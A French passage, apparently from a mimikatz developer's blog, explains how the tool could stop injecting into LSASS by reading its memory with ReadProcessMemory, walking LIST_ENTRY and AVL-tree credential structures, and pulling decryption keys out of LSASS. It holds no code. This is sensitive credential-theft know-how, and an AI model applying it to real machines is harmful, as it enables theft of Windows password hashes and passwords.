  • La facilité : toutes les structures utilisées contiennent des pointeurs et données qui ne sont valides que dans le processus LSASS, les utilisations de ces structures sont donc transparentes
  • La recherche d’éléments par LUID : les données utilisateurs sont placées dans des structures de type :
    • LIST_ENTRY ; nécessitant un parcours par pointeurs
    • RTL_AVL_TABLE ; nécessitant l’utilisation de RtlLookupElementGenericTableAvl
  • Le déchiffrement : les hashes et mots de passe ne sont pas en clair, ils sont déchiffrés par LsaUnprotectMemory, qui utilise des clés et méthodes du processus LSASS

Comment ne plus injecter ?

Il suffirait de résoudre les 3 points évoqués…

  • La difficulté : toutes données nécessaires seront lues du processus LSASS par ReadProcessMemory, donnant lieu à des proxys d’utilisation des structures UNICODE_STRING, KIWI_GENERIC_PRIMARY_CREDENTIAL, …
  • La recherche d’éléments par LUID : les données utilisateurs étant placées dans des structures de type :
    • LIST_ENTRY ; utilisera un proxy de parcours de listes, via ReadProcessMemory
    • RTL_AVL_TABLE ; utilisera un proxy de parcours d’arbres, via ReadProcessMemory
  • Le déchiffrement : il suffit d’aller récupérer les clés depuis LSASS pour les utiliser dans mimikatz

Récupération des clés

soon
Bientôt dans un post dédié…